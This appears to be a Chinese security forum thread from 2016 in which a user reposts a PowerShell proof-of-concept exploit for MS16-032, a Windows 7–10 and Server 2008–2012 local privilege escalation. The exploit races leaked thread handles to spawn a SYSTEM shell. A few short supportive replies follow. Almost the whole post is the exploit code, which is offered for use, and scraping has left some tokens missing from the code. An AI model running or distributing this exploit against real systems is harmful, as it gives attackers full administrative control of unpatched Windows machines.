adminhs 发表于 2016-4-22 22:42:41

Microsoft Windows 7-10 & Server 2008-2012本地提升(POC)

本帖最后由 adminhs 于 2016-4-22 22:44 编辑

function Invoke-MS16-032 {
<#
.SYNOPSIS
   
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
   
    Targets:
   
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
   
    Notes:
   
    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
      but not spawn a shell. Not sure what the issue is but just re-run and profit!
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
.DESCRIPTION
        Author: Ruben Boonen (@FuzzySec)
        Blog: http://www.fuzzysecurity.com/
        License: BSD 3-Clause
        Required Dependencies: PowerShell v2+
        Optional Dependencies: None
        E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736
   
.EXAMPLE
        C:\PS> Invoke-MS16-032
#>
        Add-Type -TypeDefinition @"
        using System;
        using System.Diagnostics;
        using System.Runtime.InteropServices;
        using System.Security.Principal;
       
       
        public struct PROCESS_INFORMATION
        {
                public IntPtr hProcess;
                public IntPtr hThread;
                public int dwProcessId;
                public int dwThreadId;
        }
       
       
        public struct STARTUPINFO
        {
                public Int32 cb;
                public string lpReserved;
                public string lpDesktop;
                public string lpTitle;
                public Int32 dwX;
                public Int32 dwY;
                public Int32 dwXSize;
                public Int32 dwYSize;
                public Int32 dwXCountChars;
                public Int32 dwYCountChars;
                public Int32 dwFillAttribute;
                public Int32 dwFlags;
                public Int16 wShowWindow;
                public Int16 cbReserved2;
                public IntPtr lpReserved2;
                public IntPtr hStdInput;
                public IntPtr hStdOutput;
                public IntPtr hStdError;
        }
       
       
        public struct SQOS
        {
                public int Length;
                public int ImpersonationLevel;
                public int ContextTrackingMode;
                public bool EffectiveOnly;
        }
       
        public static class Advapi32
        {
               
                public static extern bool CreateProcessWithLogonW(
                        String userName,
                        String domain,
                        String password,
                        int logonFlags,
                        String applicationName,
                        String commandLine,
                        int creationFlags,
                        int environment,
                        String currentDirectory,
                        refSTARTUPINFO startupInfo,
                        out PROCESS_INFORMATION processInformation);
                       
               
                public static extern bool SetThreadToken(
                        ref IntPtr Thread,
                        IntPtr Token);
                       
               
                public static extern bool OpenThreadToken(
                        IntPtr ThreadHandle,
                        int DesiredAccess,
                        bool OpenAsSelf,
                        out IntPtr TokenHandle);
                       
               
                public static extern bool OpenProcessToken(
                        IntPtr ProcessHandle,
                        int DesiredAccess,
                        ref IntPtr TokenHandle);
                       
               
                public extern static bool DuplicateToken(
                        IntPtr ExistingTokenHandle,
                        int SECURITY_IMPERSONATION_LEVEL,
                        ref IntPtr DuplicateTokenHandle);
        }
       
        public static class Kernel32
        {
               
                public static extern uint GetLastError();
       
               
                public static extern IntPtr GetCurrentProcess();
       
               
                public static extern IntPtr GetCurrentThread();
               
               
                public static extern int GetThreadId(IntPtr hThread);
               
               
                public static extern int GetProcessIdOfThread(IntPtr handle);
               
               
                public static extern int SuspendThread(IntPtr hThread);
               
               
                public static extern int ResumeThread(IntPtr hThread);
               
               
                public static extern bool TerminateProcess(
                        IntPtr hProcess,
                        uint uExitCode);
       
               
                public static extern bool CloseHandle(IntPtr hObject);
               
               
                public static extern bool DuplicateHandle(
                        IntPtr hSourceProcessHandle,
                        IntPtr hSourceHandle,
                        IntPtr hTargetProcessHandle,
                        ref IntPtr lpTargetHandle,
                        int dwDesiredAccess,
                        bool bInheritHandle,
                        int dwOptions);
        }
       
        public static class Ntdll
        {
               
                public static extern int NtImpersonateThread(
                        IntPtr ThreadHandle,
                        IntPtr ThreadToImpersonate,
                        ref SQOS SecurityQualityOfService);
        }
"@
       
        function Get-ThreadHandle {
                # StartupInfo Struct
                $StartupInfo = New-Object STARTUPINFO
                $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
                $StartupInfo.hStdInput = ::GetCurrentThread()
                $StartupInfo.hStdOutput = ::GetCurrentThread()
                $StartupInfo.hStdError = ::GetCurrentThread()
                $StartupInfo.cb = ::SizeOf($StartupInfo) # Struct Size
               
                # ProcessInfo Struct
                $ProcessInfo = New-Object PROCESS_INFORMATION
               
                # CreateProcessWithLogonW --> lpCurrentDirectory
                $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
               
                # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
                $CallResult = ::CreateProcessWithLogonW(
                        "user", "domain", "pass",
                        0x00000002, "C:\Windows\System32\cmd.exe", "",
                        0x00000004, $null, $GetCurrentPath,
                        $StartupInfo, $ProcessInfo)
               
                # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
                $lpTargetHandle = ::Zero
                $CallResult = ::DuplicateHandle(
                        $ProcessInfo.hProcess, 0x4,
                        ::GetCurrentProcess(),
                        $lpTargetHandle, 0, $false,
                        0x00000002)
               
                # Clean up suspended process
                $CallResult = ::TerminateProcess($ProcessInfo.hProcess, 1)
                $CallResult = ::CloseHandle($ProcessInfo.hProcess)
                $CallResult = ::CloseHandle($ProcessInfo.hThread)
               
                $lpTargetHandle
        }
       
        function Get-SystemToken {
                echo "`n[?] Trying thread handle: $Thread"
                echo "[?] Thread belongs to: $($(Get-Process -PID $(::GetProcessIdOfThread($Thread))).ProcessName)"
       
                $CallResult = ::SuspendThread($Thread)
                if ($CallResult -ne 0) {
                        echo "[!] $Thread is a bad thread, moving on.."
                        Return
                } echo "[+] Thread suspended"
               
                echo "[>] Wiping current impersonation token"
                $CallResult = ::SetThreadToken($Thread, ::Zero)
                if (!$CallResult) {
                        echo "[!] SetThreadToken failed, moving on.."
                        $CallResult = ::ResumeThread($Thread)
                        echo "[+] Thread resumed!"
                        Return
                }
               
                echo "[>] Building SYSTEM impersonation token"
                # SecurityQualityOfService struct
                $SQOS = New-Object SQOS
                $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
                $SQOS.Length = ::SizeOf($SQOS)
                # Undocumented API's, I like your style Microsoft ;)
                $CallResult = ::NtImpersonateThread($Thread, $Thread, $sqos)
                if ($CallResult -ne 0) {
                        echo "[!] NtImpersonateThread failed, moving on.."
                        $CallResult = ::ResumeThread($Thread)
                        echo "[+] Thread resumed!"
                        Return
                }
       
                $script:SysTokenHandle = ::Zero
                # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
                $CallResult = ::OpenThreadToken($Thread, 0x0006, $false, $SysTokenHandle)
                if (!$CallResult) {
                        echo "[!] OpenThreadToken failed, moving on.."
                        $CallResult = ::ResumeThread($Thread)
                        echo "[+] Thread resumed!"
                        Return
                }
               
                echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
                echo "[+] Resuming thread.."
                $CallResult = ::ResumeThread($Thread)
        }
       
        # main() <--- ;)
        $ms16032 = @"
       __ __ ___ ___   ___   ___ ___ ___
        |V|_|_| |_|___|   |_|_|
        |   |_|_| |_| . |___| | |_|_|
        |_|_|_|___|_____|___|   |___|___|___|
                                           
                      
"@
       
        $ms16032
       
        # Check logical processor count, race condition requires 2+
        echo "`n[?] Operating system core count: $(::ProcessorCount)"
        if ($(::ProcessorCount) -lt 2) {
                echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
                Return
        }
       
        # Create array for Threads & TID's
        $ThreadArray = @()
        $TidArray = @()
       
        echo "[>] Duplicating CreateProcessWithLogonW handles.."
        # Loop Get-ThreadHandle and collect thread handles with a valid TID
        for ($i=0; $i -lt 500; $i++) {
                $hThread = Get-ThreadHandle
                $hThreadID = ::GetThreadId($hThread)
                # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
                if ($TidArray -notcontains $hThreadID) {
                        $TidArray += $hThreadID
                        if ($hThread -ne 0) {
                                $ThreadArray += $hThread # This is what we need!
                        }
                }
        }
       
        if ($($ThreadArray.length) -eq 0) {
                echo "[!] No valid thread handles were captured, exiting!"
                Return
        } else {
                echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
                echo "`n[?] Thread handle list:"
                $ThreadArray
        }
       
        echo "`n[*] Sniffing out privileged impersonation token.."
        foreach ($Thread in $ThreadArray){
       
                # Get handle to SYSTEM access token
                Get-SystemToken
               
                echo "`n[*] Sniffing out SYSTEM shell.."
                echo "`n[>] Duplicating SYSTEM token"
                $hDuplicateTokenHandle = ::Zero
                $CallResult = ::DuplicateToken($SysTokenHandle, 2, $hDuplicateTokenHandle)
               
                # Simple PS runspace definition
                echo "[>] Starting token race"
                $Runspace = ::CreateRunspace()
                $StartTokenRace = ::Create()
                $StartTokenRace.runspace = $Runspace
                $Runspace.Open()
                $StartTokenRace.AddScript({
                        Param ($Thread, $hDuplicateTokenHandle)
                        while ($true) {
                                $CallResult = ::SetThreadToken($Thread, $hDuplicateTokenHandle)
                        }
                }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
                $AscObj = $StartTokenRace.BeginInvoke()
               
                echo "[>] Starting process race"
                # Adding a timeout (10 seconds) here to safeguard from edge-cases
                $SafeGuard = ::StartNew()
                while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
                # StartupInfo Struct
                $StartupInfo = New-Object STARTUPINFO
                $StartupInfo.cb = ::SizeOf($StartupInfo) # Struct Size
               
                # ProcessInfo Struct
                $ProcessInfo = New-Object PROCESS_INFORMATION
               
                # CreateProcessWithLogonW --> lpCurrentDirectory
                $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
               
                # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
                $CallResult = ::CreateProcessWithLogonW(
                        "user", "domain", "pass",
                        0x00000002, "C:\Windows\System32\cmd.exe", "",
                        0x00000004, $null, $GetCurrentPath,
                        $StartupInfo, $ProcessInfo)
                       
                $hTokenHandle = ::Zero
                $CallResult = ::OpenProcessToken($ProcessInfo.hProcess, 0x28, $hTokenHandle)
                # If we can't open the process token it's a SYSTEM shell!
                if (!$CallResult) {
                        echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
                        $CallResult = ::ResumeThread($ProcessInfo.hThread)
                        $StartTokenRace.Stop()
                        $SafeGuard.Stop()
                        Return
                }
                       
                # Clean up suspended process
                $CallResult = ::TerminateProcess($ProcessInfo.hProcess, 1)
                $CallResult = ::CloseHandle($ProcessInfo.hProcess)
                $CallResult = ::CloseHandle($ProcessInfo.hThread)
                }
               
                # Kill runspace & stopwatch if edge-case
                $StartTokenRace.Stop()
                $SafeGuard.Stop()
        }
}

sql2008 发表于 2016-4-26 09:41:08

支持下,看看了

xuxu 发表于 2016-4-26 16:11:10

skytws 发表于 2016-4-27 17:41:00

支持一下,:handshake

ljy07 发表于 2016-4-30 14:32:10

ayang 发表于 2016-4-30 18:11:14

支持,看起来还是可以的

小路 发表于 2016-4-30 19:39:17

支持,看起来还是可以的

wilist 发表于 2016-4-30 20:15:41

支持,看起来还是可以的

小路 发表于 2016-4-30 20:37:57

我是来水经验的……

CHRIS 发表于 2016-4-30 23:57:44

支持,看起来还是可以的
页: [1]
查看完整版本: Microsoft Windows 7-10 & Server 2008-2012本地提升(POC)